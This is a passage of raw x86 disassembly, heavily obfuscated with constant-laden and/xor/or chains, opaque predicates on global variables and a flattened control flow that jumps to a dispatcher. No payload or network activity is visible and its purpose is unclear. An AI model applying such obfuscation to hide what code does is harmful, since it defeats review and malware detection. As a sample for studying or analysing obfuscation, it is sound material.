xor al, 1
or al, dl
xor dh, 1
mov dl, dh
xor dl, al
or dh, al
xor dh, 1
or dh, dl
mov dl, ah
xor dl, 1
or dl, dh
mov ch, dl
xor ch, 1
xor dh, ah
mov ah, dh
xor ah, 1
mov al, dl
and al, ch
xor al, 1
or al, ch
xor al, 1
or al, dl
mov ch, al
xor ch, 1
and ch, dh
and al, ah
or al, ch
or dh, dl
xor al, 1
mov dl, al
xor dl, dh
or al, dh
xor al, 1
or al, dl
mov ch, al
xor ch, 1
and ch, al
mov ah, ch
xor ah, 1
mov dl, ah
and dl, ch
xor dl, 1
mov dh, ch
xor dh, dl
or dl, ch
xor dl, 1
or dl, dh
xor dl, al
or ah, al
xor ah, 1
or ah, dl
mov al, ah
xor al, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov eax, edx
xor al, 1
mov ah, al
xor ah, bl
mov ch, ah
and ch, al
or dl, bh
or bh, al
xor ch, 1
mov dh, ch
xor dh, bh
or ch, bh
xor ch, 1
or ch, dh
mov cl, bl
xor cl, ch
or ch, bl
xor ch, 1
or ch, cl
mov dh, ch
xor dh, 1
xor dl, 1
or dl, ah
or al, bl
xor al, 1
or al, ah
mov cl, dl
or cl, al
xor cl, 1
xor al, dl
or al, cl
mov dl, al
xor dl, 1
mov ah, dl
and ah, ch
mov cl, dh
and cl, al
or cl, ah
xor cl, 1
or cl, ch
or dl, dh
xor dl, 1
xor al, dh
and al, dh
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
mov ch, al
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
mov al, cl
xor al, 1
and al, dl
xor dl, 1
and dl, cl
or dl, al
or ah, cl
mov al, ah
xor al, dl
test al, 1
mov ecx, 0x5868cc31
mov esi, 0x4b513a84
cmovne ecx, esi
test ah, 1
mov edi, 0x5868cc31
cmovne edi, ecx
test dl, 1
cmove edi, ecx
jmp 0x10011930
mov edi, 0x64ddca50
jmp 0x10011930
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
or edx, 0xc1cd8148
mov esi, ecx
or esi, 0x20105c84
and esi, 0xe1ddddcc
mov edi, eax
mov dword [esp], eax
and edi, 0x1a000221
or edi, esi
and edx, 0xe1ddddcc
mov esi, ecx
and esi, 0x4222012
or esi, edx
xor esi, edi
mov dword [esp + 0x1c], esi
xor esi, 0x83a39ccd
and esi, ecx
and ecx, 0x8207c63d
mov edi, eax
and edi, 0x7df839c2
or edi, ecx
mov ebx, edi
xor ebx, 0x7df839c2
xor edi, 0x8207c63d
mov ecx, ebx
and ecx, 0xfb84b52
mov ebp, edi
and ebp, 0xf047b4ad
or ebp, ecx
mov edx, ebp
xor edx, 0xf047b4ad
xor ebp, 0xfb84b52
mov eax, ebp
and ebp, 0x7252dd46
mov ecx, edx
and ecx, 0x8dad22b9
or ecx, ebp
or eax, 0xa88868
and eax, 0xe2ababec
xor ecx, 0x8dad22b9
or ecx, edx
and edx, 0x4440403
or edx, eax
or ebx, 0xe2032384
and ebx, 0xe2ababec
and edi, 0x19105010
or edi, ebx
xor edi, edx
xor edi, 0xe6472787
not ecx
or ecx, edi
mov eax, ecx
not eax
mov edx, eax
and edx, 0xac57c0eb
and eax, ecx
and ecx, 0x53a83f14
or ecx, edx
mov edx, ecx
xor edx, 0x201f04
xor ecx, 0xac57c0eb
mov edi, ecx
and edi, 0x7fc820b8
and edx, 0x8037df47
or edx, edi
mov edi, eax
not edi
or ecx, edi
and edi, 0x7fc820b8
and eax, 0x8037df47
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xab202c87
and eax, edx
and edx, ecx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x872525b3
and eax, 0x78dada4c
or eax, ecx
mov ecx, edx
not ecx
or edi, ecx
and ecx, 0x872525b3
and edx, 0x78dada4c
or edx, ecx
xor edx, eax
not edi
or edi, edx
mov eax, edi
xor eax, 0x70082021
xor edi, 0xcb1ccdc
and eax, 0x78386861
mov ecx, edi
and ecx, 0x87c7979e
or ecx, eax
xor ecx, 0xdfa9883a
and edi, 0xa791e05b
or edi, ecx
mov ecx, edi
not ecx
mov edx, dword [esp + 0x1c]
xor edx, 0x7c5c6332
mov eax, dword [esp]
and eax, edx
or esi, eax
not esi
or esi, edx
mov eax, esi
not eax
mov edx, esi
and edx, 0xc9e7ffeb
mov ebx, esi
xor ebx, 0x61576d2d
and esi, ebx
and ebx, eax
and eax, 0x36180014
or eax, edx
mov edx, eax
xor edx, 0x36180014
and edx, edi
xor eax, 0xc9e7ffeb
and eax, ecx
or eax, edx
mov ebp, eax
xor ebp, edi
and ebp, eax
and edi, 0x9ea892d2
and ecx, 0x61576d2d
or ecx, edi
mov eax, esi
not eax
mov edx, ebx
not edx
mov edi, eax
and edi, 0xa3ab8534
and esi, 0x5c547acb
or esi, edi
or eax, edx
and edx, 0xa3ab8534
and ebx, 0x5c547acb
or ebx, edx
xor ebx, esi
not eax
or eax, ebx
xor eax, ecx
mov ecx, eax
not ecx
mov edx, ebp
xor edx, ecx
and edx, ebp
and ecx, 0x323aa2a8
and eax, 0xcdc55d57
or eax, ecx
xor eax, ebp
mov esi, eax
xor esi, 0x323aa2a8
mov ecx, edx
not ecx
xor eax, 0xcdc55d57
mov edi, ecx
and edi, 0x3792c03e
and edx, 0xc86d3fc1
or edx, edi
or ecx, eax
and eax, 0x3792c03e
and esi, 0xc86d3fc1
or esi, eax
xor esi, edx
not ecx
or ecx, esi
mov eax, ecx
not eax
movzx esi, al
mov edx, ecx
and edx, 0x20104000
or edx, esi
xor edx, 0x20104000
mov esi, eax
or esi, 8
mov edi, ecx
or edi, 0x8401a012
and edi, 0x8401a01a
and edx, 0x20104040
or edx, edi
and esi, 0x8401a01a
and ecx, 0x3800001
or ecx, esi
xor ecx, edx
mov edx, ecx
xor edx, 0x81802011
xor ecx, 0x600a5124
and edx, 0x81902059
and ecx, 0x660bd126
or ecx, edx
mov edx, ecx
xor edx, 0x99f42ed9
xor ecx, edx
or eax, 0xa791e05b
xor ecx, 0x660bd126
and ecx, eax
xor ecx, edx
or edx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x945bedc7
and ecx, 0x6ba41238
or ecx, esi
or eax, edx
and edx, 0xd45bfde7
xor edx, ecx
xor edx, 0x40001020
not eax
or eax, edx
mov edx, eax
not edx
mov esi, eax
and esi, 0xd798b420
mov ecx, edx
and ecx, 0x28674bdf
or ecx, esi
mov esi, ecx
xor esi, 0xd798b420
mov edi, ecx
xor edi, 0x20254b92
and edi, 0x32bddf92
xor ecx, 0x49f7fb4f
and ecx, esi
mov ebx, esi
and ebx, 0xcd42206d
or ebx, edi
mov edi, ebx
xor edi, 0x32bddf92
mov esi, edi
mov ebp, edi
or esi, 0x6190b090
xor ebx, 0x84020068
mov edi, esi
and edi, 0x49e08d15
and ebx, 0x960f426a
or ebx, edi
mov edi, ecx
not edi
or esi, edi
and edi, 0x49e08d15
and ecx, 0xb61f72ea
or ecx, edi
xor ecx, ebx
not esi
or esi, ecx
xor esi, 0x9e6f4f6e
and ebp, 1
or ebp, esi
mov dword [esp + 0x1c], ebp
mov ecx, edx
and ecx, 0x2994418d
mov esi, eax
and esi, 0xd66bbe72
or esi, ecx
mov ecx, esi
xor ecx, 0x1409b210
xor esi, 0x2994418d
mov edi, edx
and edi, eax
mov ebx, esi
and ebx, 0xeaf60dea
and ecx, 0x1509f215
or ecx, ebx
mov ebx, edi
not ebx
or esi, ebx
and ebx, 0xeaf60dea
and edi, 0x1509f215
or edi, ebx
xor edi, ecx
not esi
or esi, edi
mov ecx, esi
xor ecx, 0xada2018d
and ecx, esi
and edx, 0xa00101
and eax, 0xad02008c
or eax, edx
mov edi, eax
xor edi, 0x80000080
or edi, 0x1045d840
xor eax, 1
and eax, 0x2d02000d
and edi, 0x90e5d9c0
or edi, eax
mov eax, edi
xor eax, 0x90e5d9c0
mov esi, eax
mov dword [esp], eax
mov ebx, ecx
mov dword [esp + 4], ecx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xb3bebbc2
and ebx, 0x4c41443d
or ebx, edx
mov edx, edi
xor edx, 0x6f1a263f
xor edi, 0x8c220595
and edi, edx
and esi, 0xa1200188
or esi, edi
mov ecx, ebx
xor ecx, 0x4c41443d
xor ebx, 0xb3bebbc2
mov eax, ebx
or eax, 0x91300040
and eax, 0xd5f10c45
mov edi, ecx
and edi, 0x802c210
or edi, eax
or ebp, 0x44c10c05
and ebp, 0xd5f10c45
mov eax, dword [esp + 4]
and eax, 0x220c31aa
or eax, ebp
and esi, 0xade3cd9d
xor esi, eax
xor esi, edi
mov eax, ebx
and eax, 0xd27ca50a
and ecx, 0x2d835af5
or ecx, eax
mov edi, dword [esp + 0x1c]
mov ebp, edi
not ebp
xor esi, 0x40000200
mov eax, dword [esp]
or ebx, eax
and eax, 0x80200108
and edx, 0x2d835af5
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
not ebx
or ebx, esi
mov edx, ebx
mov eax, ebx
xor eax, 0x68468970
and eax, ebx
or ebx, 0x97b9768f
not edx
mov ecx, eax
not ecx
mov esi, ebx
and esi, 0x246b31e8
and edx, 0x48048810
or edx, esi
or ebx, ecx
and ecx, 0x246b31e8
and eax, 0xdb94ce17
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
mov eax, ebx
xor eax, 0xc5e488fc
mov edx, eax
mov esi, ebp
mov ecx, edi
mov eax, edi
and eax, 0x1783ca86
and ebp, 0xe87c3579
or ebp, eax
xor ebp, 0x934d1fbb
or ebp, edi
mov eax, edi
and eax, 0x9f918d81
and esi, 0x606e727e
or esi, eax
mov edi, ebx
xor edi, 0x3a1b7703
mov dword [esp + 0x18], edi
mov ebx, edx
mov dword [esp + 0x14], edx
mov eax, edx
or eax, 0x31215e24
mov ecx, edi
or ecx, 0x1a8011
and eax, 0x313bde35
mov edx, edi
and edx, 0x46840182
or edx, eax
and ecx, 0x313bde35
mov edi, ebx
and edi, 0x88402048
or edi, ecx
mov dword [esp + 4], esi
mov ecx, esi
xor ecx, 0x606e727e
mov dword [esp + 8], ecx
xor edi, edx
mov dword [esp + 0x1c], edi
mov eax, esi
xor eax, 0x9f918d81
mov dword [esp + 0xc], eax
and eax, 0x2a310a42
mov edx, ecx
and edx, 0x51002080
or edx, eax
mov esi, edi
xor esi, 0xb9617e6c
mov dword [esp], esi
mov eax, edi
xor eax, 0x469e8193
mov dword [esp + 0x10], eax
and eax, 0xb63c0c9c
mov ecx, esi
and ecx, 0x49c3f363
or ecx, eax
mov esi, ecx
xor esi, 0x49c3f363
xor ecx, 0xb21c0014
and ecx, 0xfa5f8074
mov eax, esi
and eax, 0x5a07f8b
or eax, ecx
xor eax, 0x7e915549
and esi, 0x84ced53d
or esi, eax
mov dword [esp + 0x20], esi
xor edx, 0x51002080
or edx, 0x84ced53d
mov ebx, edx
not ebx
and edx, 0xfa49e0d1
mov eax, ebx
and eax, 0x1300a02
or eax, edx
mov edi, ebp
not edi
and ebp, 0x74cea3e8
mov esi, edi
and esi, 0x8b315c17
or esi, ebp
mov ebp, eax
xor ebp, 0x5b61f2e
mov ecx, ebp
and ecx, 0x18ec44db
and ebx, 0x63112a00
or ebx, ecx
mov edx, esi
xor edx, 0x8b315c17
mov ecx, edx
and ecx, 0x18ec44db
and edi, 0xe713bb24
or edi, ecx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, ebx
xor ecx, edi
xor eax, 0xfa49e0d1
mov edi, eax
and edi, 0x59002802
and ebp, 0x26bd43f5
or ebp, edi
xor esi, 0x74cea3e8
or eax, esi
and esi, 0xd942bc0a
and edx, 0x26bd43f5
or edx, esi
xor edx, ebp
not eax
or eax, edx
mov edx, ecx
not edx
mov esi, edx
and esi, 0x2f809328
and ecx, 0xd07f6cd7
or ecx, esi
xor ecx, eax
or edx, eax
xor ecx, 0xd07f6cd7
not edx
or edx, ecx
mov ecx, dword [esp + 0x18]
or ecx, 0x7b312ac2
mov edi, dword [esp + 0x20]
mov eax, edi
or eax, ecx
and ecx, 0x8f4a1766
mov esi, ecx
mov ecx, dword [esp + 0x14]
and ecx, 0x84c019
or ecx, esi
xor ecx, edi
not eax
xor ecx, 0x70b5e899
or ecx, eax
mov eax, ecx
not eax
or eax, edx
not edx
or edx, ecx
not eax
not edx
or edx, eax
mov eax, dword [esp + 0x1c]
xor eax, 0x67fe8dc3
mov ebx, dword [esp + 0x10]
and eax, ebx
mov dword [esp + 0x1c], eax
mov eax, ebx
mov ecx, dword [esp + 0xc]
or ebx, ecx
mov edi, dword [esp + 4]
xor edi, 0xbef181d1
mov ebp, dword [esp + 8]
and edi, ebp
or ebp, 0x21600c50
mov esi, ebp
and esi, 0xe024a2ee
and ecx, 0x1e9b5101
or ecx, esi
mov esi, edi
not esi
or ebp, esi
and esi, 0xe024a2ee
and edi, 0x1fdb5d11
or edi, esi
xor edi, ecx
not ebp
or ebp, edi
mov edi, dword [esp + 0x1c]
mov ecx, edi
not ecx
mov esi, ecx
and esi, 0x8b1b442b
and edi, 0x74e4bbd4
or edi, esi
or eax, 0xde9ff3af
or ecx, eax
and eax, 0x8b1b442b
mov esi, dword [esp]
and esi, 0x20600850
or esi, eax
xor esi, edi
not ecx
or ecx, esi
xor ecx, ebp
mov esi, ebx
not esi
mov eax, ecx
not eax
mov edi, eax
and edi, 0xe6a87392
and ecx, 0x19578c6d
or ecx, edi
or eax, ebx
and ebx, 0xe6a87392
and esi, 0x19578c6d
or esi, ebx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edi, edx
not edi
mov esi, edi
or esi, eax
and edi, 0x19e9d722
and edx, 0xe61628dd
or edx, edi
and eax, 0x19e9d722
and ecx, 0xe61628dd
or ecx, eax
xor ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x2cf0e2f9
and ecx, 0xd30f1d06
or ecx, edx
xor ecx, esi
xor ecx, 0xd30f1d06
or eax, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe081000
mov esi, eax
and esi, 0xe0608845
or esi, edx
xor esi, 0xe0608845
mov edx, ecx
and edx, 0x119767ba
or edx, esi
mov edi, edx
not edi
mov esi, ecx
and esi, 0x4e8bfc3
mov ebx, eax
and ebx, 0xfb17403c
or ebx, esi
xor ebx, 0xfb17403c
mov esi, ebx
xor esi, ecx
and esi, ebx
mov ebp, esi
not ebp
mov ebx, edx
xor ebx, ebp
and ebx, edx
and edi, 0x81e9b0bc
and edx, 0x7e164f43
or edx, edi
and ebp, 0x81e9b0bc
and esi, 0x7e164f43
or esi, ebp
xor esi, edx
or esi, ebx
mov ebx, esi
mov edi, esi
xor edi, 0x293a43af
and edi, esi
mov edx, esi
or edx, 0xd6c5bc50
not ebx
mov esi, edi
not esi
mov ebp, edx
and ebp, 0xef3c561b
and ebx, 0x201a4
or ebx, ebp
or edx, esi
and esi, 0xef3c561b
and edi, 0x10c3a9e4
or edi, esi
xor edi, ebx
not edx
or edx, edi
mov edi, edx
xor edi, 0xd6c5bc50
xor edx, 0x293a43af
mov ebx, edx
and ebx, edi
mov esi, ebx
not esi
mov ebp, esi
and ebp, 0x8143485e
and ebx, 0x7ebcb7a1
or ebx, ebp
or esi, edi
and edi, 0x8143485e
and edx, 0x7ebcb7a1
or edx, edi
xor edx, ebx
not esi
or esi, edx
mov edi, esi
not edi
mov edx, edi
and edx, 0xa3f9687
and esi, 0xf5c06978
or esi, edx
xor esi, 0xa3f9687
xor edi, esi
and edi, esi
and ecx, 0x3d9fc111
and eax, 0xc2603eee
or eax, ecx
mov ecx, eax
xor ecx, 0x2ca0
xor eax, 0x39104111
and eax, 0xfb70535f
and ecx, 0x48faca0
or ecx, eax
mov eax, ecx
xor eax, 0xfb70535f
xor ecx, 0x48f8c20
and ecx, 0xdebf8f2e
mov edx, eax
and edx, 0x214070d1
or edx, ecx
xor edx, 0x214070d1
or edx, eax
mov ecx, edx
xor ecx, 0x3db36cae
and ecx, edx
mov eax, edx
not eax
or eax, ecx
not ecx
and ecx, 0xc24c9351
and eax, 0x3db36cae
or eax, ecx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0x4821b5b
and eax, 0xfb7de4a4
or eax, ecx
xor eax, 0x4821b5b
xor ebx, eax
and ebx, eax
mov eax, edi
not eax
mov dword [esp + 0x1c], eax
and eax, 0x25099440
mov ebp, edi
and ebp, 0xdaf66bbf
or ebp, eax
mov edx, ebp
xor edx, 0x80100020
xor ebp, 0x24000440
mov eax, edi
xor eax, 0xbc300461
and eax, edi
or ebp, 0x43cffb9e
mov esi, ebp
and esi, 0x1aa27f87
and edx, 0xa4100060
or edx, esi
mov esi, eax
not esi
or ebp, esi
and esi, 0x1aa27f87
and eax, 0xe55d8078
or eax, esi
xor eax, edx
not ebp
or ebp, eax
mov eax, ebx
not eax
mov dword [esp + 4], eax
and eax, 0x1cb229de
mov ecx, ebx
and ecx, 0xe34dd621
or ecx, eax
mov eax, ecx
xor eax, 0xa200c201
xor ecx, 0x1cb229de
mov edx, ecx
and edx, 0x495d3d3c
and eax, 0xb6a2c2c3
or eax, edx
mov edx, dword [esp + 4]
and edx, ebx
mov esi, edx
not esi
or ecx, esi
and esi, 0x495d3d3c
and edx, 0xb6a2c2c3
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov dword [esp], ecx
mov dword [esp + 0xc], ebp
mov edx, ebp
xor edx, 0x43cffb9e
mov dword [esp + 0x10], edx
xor ebp, 0xbc300461
mov dword [esp + 8], ebp
and ebp, 0xe135a6d7
and edx, 0x1eca5928
or edx, ebp
mov eax, edx
xor eax, 0x1eca5928
xor edx, 0xa12184c0
and edx, 0xb9e1cce0
mov esi, eax
and esi, 0x461e331f
or esi, edx
xor esi, 0x4e54719d
and eax, 0xf7b5bd7d
or eax, esi
mov ecx, dword [esp + 0x1c]
and ecx, 0x6fbc1a51
and edi, 0x9043e5ae
or edi, ecx
mov edx, edi
xor edx, 0x9043e5ae
xor edi, 0xc181851
and edi, 0x8c1a9cff
mov ecx, edx
and ecx, 0x73e56300
or ecx, edi
xor ecx, 0x8450de7d
and edx, 0x84a4282
or edx, ecx
mov ecx, dword [esp]
mov esi, ecx
not esi
mov dword [esp + 0x1c], esi
and esi, 0xc4f865d2
and ecx, 0x3b079a2d
or ecx, esi
mov esi, dword [esp + 4]
and esi, 0xac4876e5
and ebx, 0x53b7891a
or ebx, esi
mov esi, ebx
xor esi, 0x53b7891a
xor ebx, 0x28400401
and ebx, 0x38c3841b
mov edi, esi
and edi, 0xc73c7be4
or edi, ebx
xor edi, 0x3089c699
and esi, 0x84a4282
or esi, edi
mov dword [esp + 4], esi
mov edi, eax
not edi
mov ebp, edi
xor ebp, edx
and ebp, edi
and eax, 0x700fa3f1
and edi, 0x8ff05c0e
or edi, eax
xor edi, edx
mov edx, ebp
not edx
mov eax, edx
and eax, 0x6b0ebf63
and ebp, 0x94f1409c
or ebp, eax
mov eax, edi
xor eax, 0x8ff05c0e
xor edi, 0x700fa3f1
or edx, edi
and edi, 0x6b0ebf63
and eax, 0x94f1409c
or eax, edi
xor eax, ebp
not edx
or edx, eax
mov dword [esp + 0x14], edx
xor ecx, 0xccb22750
or ecx, dword [esp + 0x1c]
mov ebx, ecx
not ebx
mov edx, ecx
and edx, 0x9b00bb35
xor ecx, 0x462e00b7
and ecx, ebx
and ebx, 0x64ff44ca
or ebx, edx
mov eax, ebx
xor eax, 0x64ff44ca
mov dword [esp + 0x18], eax
mov ebp, ebx
xor ebp, 0x22d1447d
and ebp, eax
mov edi, ebp
not edi
mov esi, edi
and esi, 0x7a1fd41d
and ebp, 0x85e02be2
or ebp, esi
mov esi, ecx
not esi
or edi, esi
and esi, 0x7a1fd41d
and ecx, 0x85e02be2
or ecx, esi
xor ecx, ebp
not edi
or edi, ecx
mov eax, dword [esp + 4]
mov ebp, eax
not ebp
mov ecx, ebp
or ecx, 0x462e00b7
mov esi, ecx
and esi, 0x86fb47ea
mov edx, eax
and edx, 0x3900b800
or edx, esi
mov esi, eax
xor esi, 0x462e00b7
and esi, ebp
mov eax, esi
not eax
or ecx, eax
and eax, 0x86fb47ea
and esi, 0x7904b815
or esi, eax
xor esi, edx
not ecx
or ecx, esi
xor ecx, edi
xor ebx, 0x9b00bb35
mov eax, ebx
and eax, 0x4aefae77
mov edx, dword [esp + 0x18]
and edx, 0xb5105188
or edx, eax
or ebx, ebp
and ebp, 0x4aefae77
mov eax, dword [esp + 4]
and eax, 0xb5105188
or eax, ebp
xor eax, edx
not ebx
or ebx, eax
not ebx
or ebx, ecx
mov edx, ebx
not edx
mov ecx, ebx
xor ecx, 0x3954f1cb
and edx, ecx
and ecx, ebx
mov ebx, dword [esp + 0x14]
mov eax, ebx
not eax
mov esi, ebx
or esi, 0x84a30020
and esi, 0x8cf331a2
mov edi, eax
and eax, 0x3104c049
or eax, esi
or edi, 0x8503182
and edi, 0x8cf331a2
and ebx, 0x42080e14
or ebx, edi
xor ebx, eax
mov eax, edx
not eax
mov esi, eax
and esi, 0x213a0da
and edx, 0xfdec5f25
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x213a0da
and ecx, 0xfdec5f25
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edi, eax
xor edi, eax
not edi
and edi, ebx
mov ecx, dword [esp + 0xc]
xor ecx, 0x3aeb3660
mov esi, dword [esp + 0x10]
and ecx, esi
xor edi, eax
mov ebx, dword [esp]
mov edx, ebx
xor edx, 0x7924cdfe
and edx, ebx
mov eax, dword [esp + 8]
and eax, 0xed5b0db9
and esi, 0x12a4f246
or esi, eax
mov dword [esp], esi
mov eax, dword [esp + 0x1c]
and eax, 0x1f30b77a
and ebx, 0xe0cf4885
or ebx, eax
mov eax, ebx
xor eax, 0xe0cf4885
xor ebx, 0x66147a84
and ebx, eax
or edx, ebx
mov ebx, esi
xor ebx, 0x69000db8
or ebx, 0x86db3201
xor esi, 0x10000046
mov ebp, ebx
and ebp, 0xc03cc738
and esi, 0x390008c6
or esi, ebp
mov ebp, ecx
not ebp
or ebx, ebp
and ebp, 0xc03cc738
and ecx, 0x3fc338c7
or ecx, ebp
xor ecx, esi
mov esi, dword [esp]
xor esi, 0x12a4f246
not ebx
or ebx, ecx
xor ebx, edx
or eax, esi
not eax
or eax, ebx
mov edx, eax
xor edx, 0x8813a8d5
and edx, eax
not eax
or eax, edx
not edx
and edx, 0x77ec572a
and eax, 0x8813a8d5
or eax, edx
mov esi, eax
not esi
mov edx, edi
xor edx, esi
and edx, edi
and esi, 0xb165e5da
and eax, 0x4e9a1a25
or eax, esi
xor eax, edi
xor eax, 0xb165e5da
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd99ff3a6
mov esi, eax
and esi, 0x26600c59
or esi, edx
xor esi, 0x26600c59
or esi, ecx
mov edi, esi
not edi
and esi, 0x18269008
mov edx, edi
and edx, 0xa03
or edx, esi
and edi, 0xe7d965f4
xor edx, 0x18269008
or edx, edi
mov edi, edx
not edi
mov esi, edx
xor esi, 0xd8bae91a
and esi, edx
or edx, 0x274516e5
mov ebx, edx
and ebx, 0xc2d1b4de
and edi, 0x182a4900
or edi, ebx
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0xc2d1b4de
and esi, 0x3d2e4b21
or esi, ebx
xor esi, edi
not edx
or edx, esi
mov esi, edx
xor esi, 0x274516e5
xor edx, 0xd8bae91a
and ecx, edx
or edx, eax
and esi, eax
or esi, ecx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x6c3e3ce7
and esi, 0x93c1c318
or esi, ecx
xor esi, edx
xor esi, 0x93c1c318
or eax, edx
not eax
or eax, esi
xor eax, 0x11929448
xor eax, 0xee6d6bb7
sete dh
setne bl
cmp dword [0x1004f90c], 0xa
setl ch
setge cl
mov eax, ecx
and al, bl
mov bh, dh
and bh, ch
or bh, al
or bl, ch
xor bl, 1
mov dl, dh
xor dl, cl
mov eax, edx
or al, bl
xor bh, 1
mov ah, bh
xor ah, al
or bh, al
xor bh, 1
or bh, ah
xor bh, 1
mov ah, cl
or ah, dh
xor ah, 1
or bl, ah
mov al, bl
xor al, ch
or bl, ch
xor bl, 1
or bl, al
xor bl, 1
mov al, bh
xor al, bl
xor al, 1
and al, bl
or bl, bh
mov bh, bl
xor bh, 1
and al, bh
xor al, 1
or al, bh
xor al, 1
or al, bl
mov ebx, edx
and bl, dh
or ch, dh
xor bl, 1
mov dh, bl
xor dh, ch
or bl, ch
xor bl, 1
or bl, dh
mov ch, bl
xor ch, cl
or bl, cl
xor bl, 1
or bl, ch
mov ch, bl
xor ch, 1
or dl, ah
mov cl, dl
xor cl, 1
mov dh, dl
and dh, cl
xor dh, 1
or dh, cl
xor dh, 1
or dh, dl
xor dh, ah
xor dh, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
xor cl, 1
or cl, dh
mov dl, ch
and dl, bl
xor dl, 1
or dl, bl
xor dl, 1
or dl, ch
xor dl, 1
mov ah, cl
xor ah, dl
xor ah, 1
and ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ah, ch
or ah, cl
xor ah, 1
xor cl, ch
or cl, ah
mov ah, cl
xor ah, 1
mov ch, dl
xor ch, 1
and ah, ch
or ch, cl
and cl, dl
or cl, ah
xor cl, 1
mov dl, ch
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
and cl, ah
mov ch, cl
xor ch, 1
mov dl, ch
xor dl, ah
or ah, ch
xor ah, 1
or ah, dl
mov bl, ah
xor bl, 1
mov dh, cl
and dh, ch
xor dh, 1
mov bh, dh
xor bh, cl
mov dl, dh
or dl, cl
xor dl, 1
or dl, bh
mov bh, bl
and bh, dl
xor dl, 1
and dl, ah
or dl, bh
mov bh, ch
xor bh, dh
or dh, ch
xor dh, 1
or dh, bh
mov bh, dh
and bh, ah
xor dh, 1
and dh, bl
or dh, bh
xor bl, cl
or ah, ch
xor ah, 1
or ah, bl
xor ah, 1
or ah, dh
mov cl, ah
xor cl, 1
and cl, ah
xor cl, 1
mov ch, ah
xor ch, cl
or cl, ah
xor cl, 1
or cl, ch
xor cl, 1
xor dl, 1
mov ah, dl
or ah, cl
xor ah, 1
xor dl, cl
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, cl
and ah, dl
xor ah, 1
mov ch, dl
xor ch, ah
or ah, dl
xor ah, 1
or ah, ch
mov ch, dl
and ch, ah
xor ah, 1
and cl, ah
or cl, ch
or ah, dl
xor ah, 1
or ah, cl
mov ecx, eax
xor cl, 1
mov ch, ah
xor ch, cl
or cl, ah
mov dl, ah
xor dl, 1
xor cl, 1
or cl, ch
xor cl, 1
or cl, ch
mov ah, cl
xor ah, 1
mov ch, al
xor ch, dl
or dl, al
and dl, ch
mov ch, dl
xor ch, 1
mov dh, ch
and dh, cl
mov al, ah
and al, dl
or al, dh
xor al, 1
or al, cl
and cl, ah
xor cl, 1
mov dh, ah
xor dh, cl
or cl, ah
xor cl, 1
or cl, dh
mov ah, cl
xor ah, 1
and ah, ch
xor al, 1
and cl, dl
or cl, ah
xor cl, al
mov edx, ecx
not dl
and dl, al
test cl, 1
mov edi, 0x36c7af5b
mov eax, 0x6be2061e
cmovne edi, eax
test dl, 1
mov edx, 0x36c7af5b
cmove edi, edx
cmovne edi, eax
test cl, 1
cmovne edi, eax
mov dword [esp + 0x1c], 1
jmp 0x10011930
mov eax, dword [0x1004f908]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov edx, esi
and edx, 0x1859cbb7
mov eax, ecx
and eax, 0xe7a63448
or eax, edx
mov edx, eax
xor edx, 0xc885
xor eax, 0x23223008
and edx, 0xc484ccc5
and eax, 0x3b7b333a
or eax, edx
mov edx, eax
xor edx, 0x3b7b333a
mov edi, eax
xor edi, 0x84008040
and edi, 0xa6028062
xor eax, 0x9dd1eb5d
and eax, edx
mov ebx, edx
and ebx, 0xa85805
or ebx, edi
mov edx, ebx
xor edx, 0xa6028062
or edx, 0x59552798
xor ebx, 0xa04804
mov edi, eax
not edi
mov ebp, edx
and ebp, 0x72493659
and ebx, 0x84a2c826
or ebx, ebp
or edx, edi
and edi, 0x72493659
and eax, 0x8db6c9a6
or eax, edi
xor eax, ebx
not edx
or edx, eax
mov edi, edx
xor edi, 0x860ad840
xor edx, 0x59410788
and edx, 0x79e107af
and edi, 0x861ef850
or edi, edx
mov eax, edi
xor eax, 0x821e1840
xor edi, 0x20210022
and edi, 0x2421e032
and eax, 0xdbde1fcd
or eax, edi
mov edi, eax
xor edi, 0x4006032
mov ebx, eax
xor ebx, 0xdbde1fcd
mov edx, ebx
and edx, 0xa1a59acd
and edi, 0x5e5a6532
or edi, edx
mov edx, edi
xor edx, 0x5e5a6532
xor edi, 0x4129fbe1
and edi, edx
or ebx, 0xe08c612c
xor eax, 0x10
mov edx, edi
not edx
mov ebp, edx
and ebp, 0xe77d22f
and edi, 0xf1882dd0
or edi, ebp
or edx, ebx
and ebx, 0xe77d22f
and eax, 0x11000cd0
or eax, ebx
xor eax, edi
not edx
or edx, eax
mov ebp, edx
xor ebp, 0xe08c612c
xor edx, 0x1f739ed3
mov edi, edx
and edi, ebp
mov eax, edi
not eax
mov ebx, ebp
and ebx, 0x1f503c92
and edx, 0xe0afc36d
or edx, ebx
or ebp, eax
and eax, 0x1f503c92
and edi, 0xe0afc36d
or edi, eax
xor edi, edx
not ebp
or ebp, edi
mov edi, ebp
not edi
mov edx, ecx
and edx, 0xe0aa397b
mov eax, esi
and eax, 0x1f55c684
or eax, edx
